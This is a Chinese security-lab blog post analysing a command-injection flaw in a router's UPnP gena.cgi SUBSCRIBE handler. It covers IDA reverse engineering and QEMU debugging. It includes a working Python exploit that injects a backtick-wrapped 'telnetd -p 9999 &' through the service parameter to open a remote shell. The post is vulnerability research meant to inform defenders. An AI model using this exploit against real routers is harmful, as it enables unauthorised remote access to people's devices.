文章总结: 文章通过逆向与动态调试某路由器UPnP服务,发现SUBSCRIBE请求中service参数直接拼入shell脚本,利用反引号注入实现远程命令执行;给出完整利用链:构造SUBSCRIBE包触发gena.cgi→写入run.NOTIFY.php→fwrite生成含command的sh文件→rm失败执行命令开启telnet;提供IDA+QEMU调试细节与PythonEXP,建议关闭公网UPnP并升级固件。
综合评分: 92
文章分类: 漏洞分析,IoT安全,渗透测试,安全工具,漏洞POC
小心你的路由器 —— UPnP 协议分析
原创
zx
联想全球安全实验室
2026年1月9日 17:37
北京
点击蓝字 关注我们
小心你的路由器 UPnP 协议分析
一
漏洞分析
拿到路由器后,第一步当然是从最基本的暴漏面入手。这里直接通过nmap扫描发现路由器默认开启了49152端口,通过搜索可知某些路由器有可能把49152当作 UPnP 协议的端口。找到http服务的主程序cgibin,就在根目录下。IDA打开,在字符串表中搜索upnp,定位到0x4242D0这个位置,如下图所示:
查看引用,发现sub_40FCE0这个函数,F5看其伪代码。
再查看引用,发现了genacgi_main()这个函数,分析它的代码逻辑,发现if分支,v0与“SUBSCRIBE”相匹配时调用40FCE0这个函数,v0又来自于getenv(“REQUEST_METHOD”),这时可以知道请求方法为SUBSCRIBE时会来到该函数的位置,SUBSCRIBE正是 UPnP 协议数据包的一种请求方式。
分析40FCE0这个函数,发现snprintf这个函数操作了一些字符串和变量,如下:
我们把它整理还原一下,大概内容如下:
可以看到写入的数据是通过run.NOTIFY.php文件执行的操作。run.NOTIFY.php部分代码如下:
根据环境的设置,该脚本会调用PHP 函数 GENA_subscribe_new(),并传递cgibin程序中genacgi_main()函数获得的变量,还包括变量SHELL_FILE。根据搜索,可知 GENA_subscribe_new()定义在 gena.php文件中:
从GENA_subscribe_new功能上分析可知函数并不修改 $shell_file 变量。GENA_subscribe_new传递$shell_file 到 GENA_notify_init函数,也是shell_file最终处理的地方:通过调用 PHP 函数fwrite()创建新文件。
fwrite()函数被调用了两次:第一次创建文件,也就是上图的第一个红框,文件名由可控的shell_file变量的v0,v16组成:
这里看好,关键点在于用户可控的v0,从上图的这个位置往上翻,把v0是什么给找出来,以我在分析时的情况为例,84行v0=v28,那就继续往上翻,找v28。
来到52行,v28=v27+9,继续往上翻找v27。
逐步往上看,注意47-49三行,47行调用getenv()函数获取”REQUEST_URI”(https://a.com/?pageId=1,这种数据就是REQUEST_URI的内容),并将结果保存在v25,48行在v25中匹配字符‘?’(‘?’的ASCII码是63,可自行去查,或者在IDA中按’E’键可快速ASCII转字符)并将其索引返回给v26,而v27=v26。根据50-52行逻辑可知v28来到了“?service=”之后,也就是说这里接收了一个http请求,参数名为service,参数值为v28开始的位置(因为”?service=”的长度就是9,而v28=v27+9)。
上面已经说清楚可控变量v0的逻辑,这时候再回到php的脚本里,也就是上面那张黑色背景的代码截图。可以看到第二次调用fwrite()函数(也就是第二个红框处)时向文件中添加删除命令 “rm -f “.$shell_file.”\n”,(漏洞点触发原因):进行攻击时,只需要插入一个反引号包裹的系统命令,将其注入到shell 脚本中。在脚本执行 rm 命令时因遇到反引号而失败,继续执行引号里面的系统命令,从而触发远程命令执行漏洞。所以,只要控制好 “/gena.cgi?service=shell_file”中 shell_file的内容为反引号包裹的系统命令,就可以触发漏洞。
这时,需要用到http和upnp服务,由于用qemu不太清楚怎么顺利开启路由器的http和upnp服务,所以此处又使用FirmAE对固件进行了仿真,exp的执行也是依靠FirmAE的仿真进行的,最终EXP如下:
exp.py # exp的逻辑旨在构造一个合法的upnp请求包,然后将这个包发给路由器,让路由器把telnet打开,之后就可以直接telnet过去,获取shell。!/usr/bin/python3 import socketimport osfrom time import sleep def httpSUB(server, port, shell_file): print('\n[*] Connection {host}:{port}'.format(host=server, port=port)) con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.1\n" request += "Host: " + str(server) + str(port) + "\n" request += "Callback: <http://192.168.0.4:1111/ServiceProxy27>\n" request += "NT: upnp:event\n" request += "Timeout: Second-1800\n" request += "Accept-Encoding: gzip, deflate\n" request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n" print('[*] Sending Payload') sleep(1) con.connect((socket.gethostbyname(server), port)) con.send(request.encode()) print('[*] Running Telnetd Service') sleep(2) print('[*] Opening Telnet Connection\n') #os.system('telnet ' + str(server) + ' 9999') serverInput = "192.168.0.1"portInput = 49152httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')
这时就可以另开一个shell,telnet过去了。
二
动态调试
在虚拟机中将固件解包,并把qemu-mips-static放置在固件解包后的根目录下,然后执行命令进行动态调试。
根据main函数的参数字符串比较,想要跳转到漏洞函数,需要设置几个环境变量,其内容需要通过snprintf() 函数的之前的检查,并访问htdocs/gena.cgi:
-->sudo chroot ./ ./qemu-mips-static \-E REQUEST_METHOD="SUBSCRIBE" \-E REQUEST_URI="SUBSCRIBE /gena.cgi?service=L3Forwarding1" \-E SERVER_ID="server_id" \-E HTTP_NT="upnp:event" \-E HTTP_CALLBACK="<http://192.168.126.139:34033/ServiceProxy27>/" \-E HTTP_TIMEOUT="Second-1800" \-E REMOTE_ADDR="192.168.0.1" \-E HTTP_COOKIE="aaaaaaaa" \-E CONTENT_TYPE="application/x-www-form-urlencoded" \-g 1234 -0 htdocs/gena.cgi /htdocs/cgibin
用IDA对cgibin文件逆向,找到snprintf()函数,下断点:
之后用IDA连接gdbserver,设置步骤如下,找到上方菜单栏中中的Debugger并点击,再点击Select debugger…:
经过上述操作后再点击Debugger,会出现以下内容,点击Process options…进行设置:
其中Hostname为虚拟机IP,在虚拟机中通过ifconfig查看即可,Port为上面执行chroot命令时设置的端口号,可自定义,不要与在使用的端口重复就好。之后点击Start process,连接成功,来到如下页面:
F9执行到断点处,这是查看缓冲区中的数据,可以发现调用的文件是run.NOTIFY.php,上文设置的环境变量已经被写入到对应的位置:
之后便可开始对run.NOTIFY.php文件进行分析,进而找出漏洞触发位置以及利用逻辑。
三
背景知识
UPnP 协议
UPnP(Universal Plug and Play),即通用即插即用协议,是一种网络协议集合,旨在让电脑、智能电器等设备在网络中自动发现、连接和通信。下面我将以更通俗的语言来解释 UPnP 协议:
基本概念:UPnP 协议就像是网络世界中的一个“自动介绍和交友”系统。当一个新的设备(比如你的智能手机或打印机)加入网络时,UPnP会自动向网络中的其他设备“打招呼”,告诉它们:“嗨,我是新来的,我能提供这些服务。”同时,它也会去“询问”其他设备:“你们能提供什么服务呢?我想和你们交朋友。”
netstat -anp | grep 49152 查看端口对应的进程情况:
可以利用 UPnP 服务来开启 Telnet 服务的端口。UPnP 允许设备自动在网络上配置路由器的端口转发规则,因此,假如路由器启用了 UPnP 并且设备(如计算机或 IoT 设备)支持该功能,那么设备可以在路由器上动态地打开 Telnet 服务所需要的端口。UPnP 请求的数据包也和我们常见的POST,GET数据包是差不多的,并不难理解。
—— End ——
往期精彩合集
●聚焦浏览器安全技术突破-联想全球安全实验室 亮相补天白帽黑客盛典分享前沿研究!
●联想全球安全实验室热招安全领域精英,欢迎志同道合的小伙伴加入!(详见图文)
●从 ShadowLeak 看 AI Agent 的安全风险
●针对本地MCP的攻击:通过DNS重绑定绕过CORS-PNA机制限制
●密钥治理之道:从策略设计到实战落地,构筑密码应用的坚固防线
长
按
关
注
联想GIC全球安全实验室(中国)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:联想全球安全实验室 zx《小心你的路由器 —— UPnP 协议分析》